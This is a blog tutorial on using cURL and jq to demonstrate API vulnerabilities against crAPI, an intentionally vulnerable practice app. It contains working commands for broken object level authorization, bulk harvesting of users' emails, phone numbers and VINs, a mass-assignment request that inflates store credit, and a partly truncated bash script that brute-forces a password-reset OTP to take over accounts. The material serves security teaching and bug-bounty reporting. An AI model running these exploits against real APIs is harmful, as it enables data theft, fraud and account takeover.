Exploit APIs with cURL

Whenever I find API vulnerabilities in traditional web applications and want to communicate the business impact to developers and program managers, I tend to use cURL to send requests to demonstrate my proof-of-concept (PoC) exploits.

I thought it might be useful to showcase how you too can use cURL to demonstrate the vulnerabilities you find in the application programming interfaces you are security testing.

So here we go.

Why use cURL when hacking APIs?

Good question. Most developers have never heard of Burp Suite. And while they may know and use Postman, there is a very good chance that security triage, QA, and program managers have not.

But cURL is usually readily available. Heck, you now can find a version of cURL built into PowerShell on Windows!

So while Burp is an awesome attack proxy for APIs, cURL allows you to get a little closer to the protocol level, giving you the flexibility to work on more complex vulnerabilities in a very lightweight way. It’s much easier to work with a simple bash script that uses cURL that you can attach to a API security vulnerability report than to write a huge document of screenshots showing how to set up a Burp session to do it.

If you are hunting APIs for bug bounties, cURL becomes an essential tool to demonstrate the business impact of a vulnerability found in REST APIs. You can usually get a clearer dialog going with a bug bounty program’s security triage team when you can give them a small script of cURL commands that can showcase a weakness on an in-scope target API.

And it becomes much easier to reproduce API vulnerabilities to the triage team… which means you are that much closer to a successful submission.

So now that we know WHY cURL is important when exploiting APIs, let’s talk about HOW to use it to do so.

How to use cURL when API hacking

Quick trivia question…

What is cURL?

Did you know it stands for “client URL”? It’s been around since 1997 and comes in two forms… a library called libcurl and a command-line tool (CLI) called curl. We’ll be focusing on the CLI tool.

It’s a free client-side URL transfer library that makes it possible to talk a whole bunch of protocols, including FTP, Gopher, SMTP, POP3, IMAP, LDAP and you guessed it… HTTP.

So let’s explore how to use cURL to send your first API request!

cURL basics

Throughout the rest of this article, I am going to use crAPI to demonstrate how to exploit APIs with cURL.

crAPI stands for “Completely Ridiculous API”. It simulates an API-driven, microservice-based web application that is a platform for vehicle owners.

It pretty much simulates how modern web applications perform. Use it to practice your application programming interface security testing.

If you don’t want to run your own instance locally, you can take advantage of a hosted version exposed on the Internet thanks to Corey Ball, author of Hacking APIs. (Great book. You should pick it up.)

You can find the exposed API at http://crapi.apisec.ai.

We’ll use this so you can follow along as we run through each command.

Let’s hack all the things!

Capturing API requests with DevTools

So I need to sidetrack for a second. I wanna show you a cool way to generate your first cURL command without even knowing how cURL works.

Built directly in your browser dev tools is a command called something like “Copy as cURL”. If you right-click on any request in the Network tab and select that, you will get the exact cURL command to run.

So let’s try it:

  1. Open up dev tools in your browser
  2. Click on the Network tab
  3. Now in the browser head over to http://crapi.apisec.ai/signup
  4. Provide some test user input to fill in the sign-up form
  5. Click Signup
  6. Now go back to dev tools. Right-click on the request to signup. Then select Copy and finally Copy as cURL

Here is an example using Microsoft Edge on Windows 11:

TIP: If you are using Windows you will probably want to use the PowerShell version of cURL, or maybe the WSL version of Linux (which has bash built-in). So select to use the Bash version and NOT the cmd version.

The resulting cURL command might look something like this:

In time you will gain the experience to know which headers you need to have, and which ones you don’t when calling your API endpoints. Tampering with misconfigured HTTP headers can break things, so you have to be careful.

For now though, we can use this to construct our first curl command to send a request to create a new user in crAPI.

Sending your first API request

OK, so when you copy a cURL command out of dev tools it will include a lot of headers. And it will escape the command to support multiline. To make it easier on us, I will strip out what isn’t needed to send our first request. It might look something like this:

curl 'http://crapi.apisec.ai/identity/api/auth/signup' -H 'Content-Type: application/json' --data-raw '{"name":"Test User","email":"test@acme.com","number":"123-123-1234","password":"Password123"}' --insecure -v

The result might look something like this:

Looking closer at the command, we can clearly see how easy cURL can work:

  • We give it the URL of the API endpoint we want to hit, which is http://crapi.apisec.ai/identity/api/auth/signup
  • We pass a Content-Type header to tell it we are sending a JSON payload with -H ‘Content-Type: application/json’
  • We send the signup object with –data-raw ‘{“name”:”Test User”,”email”:”test@acme.com”,”number”:”123-123-1234″,”password”:”Password123″}’
  • We pass the –insecure parameter, which allows us to connect insecurely (and can ignore any cert issues if they exist) when we send sensitive data.
  • We pass the -v parameter that shows us the verbose output of the request, useful to see response headers and status codes.

We did it. We sent our first cURL request to an API. Let’s clean up the response so it’s a bit more useful.

Parsing your API response

Now that we sent our first cURL request to create a new user, let’s go about logging them in. Here is the cURL command you can use to do that:

curl 'http://crapi.apisec.ai/identity/api/auth/login' -H 'Content-Type: application/json' --data-raw '{"email":"test@acme.com","password":"Password123"}' --insecure

And the results would look something like this:

That’s a nicely formed JSON response. But we really only want the access tokens. We can parse that out using another simple CLI tool called jq.

Data filtering with jq

jq is a lightweight and flexible command-line JSON processor.  It’s like sed for JSON data – you can use it to slice and filter and map and transform structured data with the same ease that sed, awk, grep and friends let you play with text.

In our case, we simply want to extract the token property out of the response. Something like jq -j .token will work.

Let’s combine that with the cURL command and return the result into a bash variable called ACCESS_TOKEN so we can reuse it later:

ACCESS_TOKEN=$(curl 'http://crapi.apisec.ai/identity/api/auth/login' -H 'Content-Type: application/json' --data-raw '{"email":"test@acme.com","password":"Password123"}' --insecure -s | jq -j .token)

And it would look something like this:

Using your access tokens through variables

At this point, in any further cURL command where we need an access token to communicate, we can simply use $ACCESS_TOKEN. As an example, let’s pull back all the products in the database:

curl 'http://crapi.apisec.ai/workshop/api/shop/products' -H "Authorization: Bearer $ACCESS_TOKEN" -H 'Content-Type: application/json' --insecure -s | jq

Notice that we had to add a new header for the authorization token. We also used double quotes so that we can properly interpret the variable for the bearer token. That’s just a bash thing.

We’re moving now! We’ve created users. Logged in to gain access. Pulled data back. All with cURL. Now let’s go find some vulnerabilities.

Demonstrating common API vulnerabilities

So crAPI is awesome to allow us to demonstrate vulnerabilities in an API. This isn’t an article on how to find the vulns though. Instead, I am just going to show you a few cURL commands that exploit some of the other API endpoints so you get an idea of how to craft your own bash scripts for varying security issues.

Let’s start with BOLA, one of the most common API vulnerabilities that occur because object level authorization checks aren’t properly being performed.

Broken Object Level Authorization

So broken object level authorization (BOLA) occurs when proper authorization isn’t in place when accessing data. Usually, this can be accomplished when object identifiers can be modified in a way to give access to other users resources.

In the case of crAPI, a BOLA vulnerability exists in how the API tried to handle object identifiers for the mechanic’s report. If you want to bring back sensitive user information of someone else, you simply need to change the report_id parameter:

curl 'http://crapi.apisec.ai/workshop/api/mechanic/mechanic_report?report_id=1' -H "Authorization: Bearer $ACCESS_TOKEN" -H 'Content-Type: application/json' --insecure

And the results might look something like this:

Excessive Data Exposure

Remember when we found that BOLA vuln earlier by modifying the object ids of the mechanic’s report? If you looked closely, the report included sensitive data through an excessive data exposure vulnerability as well.

We not only got details about the vehicle problem and the status of the report, but we ALSO gain access to the user’s email address, phone number, and VIN.

The server-side really should have proper properties filtering based on the user. There is no need to share those properties for the report. Since they did share it, we can abuse it.

Let’s extract all the user data we can. If we chain the BOLA with the Excessive Data Exposure, we can demonstrate a real impactful data breach. Something like this would work well:

seq 1 5 | xargs -I + curl 'http://crapi.apisec.ai/workshop/api/mechanic/mechanic_report?report_id=+' -H "Authorization: Bearer $ACCESS_TOKEN" -H 'Content-Type: application/json' --insecure -s | jq -j [".vehicle.vin, .vehicle.owner.email, .vehicle.owner.number"]

OK, there is a lot going on with this exploit with the addition of a few additional CLI tools, so let’s step through it:

  • seq is a tool that generates a sequence of numbers, great when working with integer values as we have in this BOLA vuln. Setting 1 and 5 simply means we will generate a sequence of numbers 1 through 5 and then piping it into the next command.
  • xargs is a UNIX command that stands for eXtended ARGumentS. We use this to build and execute commands from standard input. In our case that is the sequence of numbers from 1 to 5. When we pass -I, that tells xarg to use the next char as a replacement for whatever is coming from standard input. That character is a plus sign (+) which means in each iteration it will replace the + with the number in the sequence.
  • The way we are using jq, we are filtering out everything except the owner’s email, phone number, and vehicle VIN.

Note: Why only generate 5 numbers in the sequence? Depending on the scope of your engagement, accessing other customers’ data may be prohibited. Or, if you are allowed to, you only want to bring back a small subset of data so as not to cause a major data breach.

If you want to, set it to 20 or 30 and notice it will bring everything back from the crAPI system. Set it to some large number like 100 and eventually, you will start getting failures or null returns, depending on how many mechanic reports are in the system.

Mass Assignment

So crAPI is vulnerable to a Mass Assignment vulnerability. It’s possible to modify object properties during the return process of an order to return more products than purchased, increasing your store credit considerably.

One way we can determine that is if we pass -v option to cURL when calling the API endpoints for orders it lists the allowed HTTP methods, including PUT:

curl 'http://crapi.apisec.ai/workshop/api/shop/orders/133' -H "Authorization: Bearer $ACCESS_TOKEN" -H 'Content-Type: application/json' --insecure -s -v | jq

We will introduce a new argument to cURL called -X. This allows us to modify the request method to use that PUT operation, which allows us to update an order, change the status to “returned” and set the quantity to any value we like. In my case, I think I will go get myself an extra $1,000 of credit:

curl -X PUT 'http://crapi.apisec.ai/workshop/api/shop/orders/133' -H "Authorization: Bearer $ACCESS_TOKEN" -H 'Content-Type: application/json' --data-raw '{"product_id":2, "quantity":100,"status":"returned"}' --insecure -s | jq

By understanding the data models of crAPI, providing additional object properties lets us overwrite data in a way not expected, allowing us to manipulate our orders and steal store credit. Oh, what fun.

Demonstrating a more complex exploit with bash scripting and cURL

OK, I’ve shown a few cURL commands now to give you a really good idea of how to demonstrate how to exploit vulnerable APIs. Let’s put this all together in a more complex bash script to showcase an interesting exploit chain to demonstrate several vulnerabilities together, maximizing the impact in the report.

I’m going to exploit implementation flaws in how the forgot password authentication mechanisms work. This will expose a broken user authentication vulnerability and allow me to change the password and log in as another authenticated user. Remember we earlier were able to find other users’ email addresses in the BOLA and Excessive Data Exposure vulns.

The latest version of crAPI that the website uses isn’t actually vulnerable to this. The developers added rate limiting that prevents bruteforcing of the required OTP on a password change in the v3 of the API endpoint. However, due to the fact we can call deprecated API versions (typically called an Improper Assets Management vulnerability), it exposes us to a Resource & Rate Limiting vulnerability… allowing us to guess the OTP and change the password.

Here is what that exploit looks like:

# First need to API to generate the OTP on a forget password event
        -H 'Content-Type: application/json' \
        --data-raw "{\"email\":\"$EMAIL\"}" \
        --insecure -s)
for OTP in {0000..9999}; do
    RESULT=$(curl $OTP_URL \
             -H 'Content-Type: application/json' \
            --data-raw "{\"email\":\"$EMAIL\",\"otp\":\"$OTP\", \"password\":\"$NEW_PWD\"}" \
            --insecure -s| jq -j .status)
    if [[ "200" == $RESULT ]]; then
        echo "Bruteforced OTP ($OTP). Password for $EMAIL reset to $NEW_PWD."

The formatted code looks something like this:

It’s authentication flaws like this that are bad news for APIs. Not only can API server performance be affected by bruteforcing, but chaining together all these different vulnerabilities together lets us trivially take over other accounts in no time.


I hope I’ve been able to pique your curiosity. Using cURL when exploiting APIs is a powerful way to demonstrate impact during the reporting phase of your engagement. It allows you to clearly and cleanly show how your report compromises API security in a way that anyone from security triage to management and engineering can reproduce.

I encourage you to try exploiting other vulnerabilities in web applications like crAPI with cURL. It’s great practice and will only help you improve your API hacking tradecraft.

And don’t forget to thank Corey for hosting a vulnerable crAPI instance on the Internet. You can do this by heading over to Amazon and buying his book.

Want recommendations for some other great books on web app and API hacking? Download my Ultimate Guide to API Hacking Resources and check out the Physical Books and Online Books & Wikis sections.

Happy hacking!

Dana Epp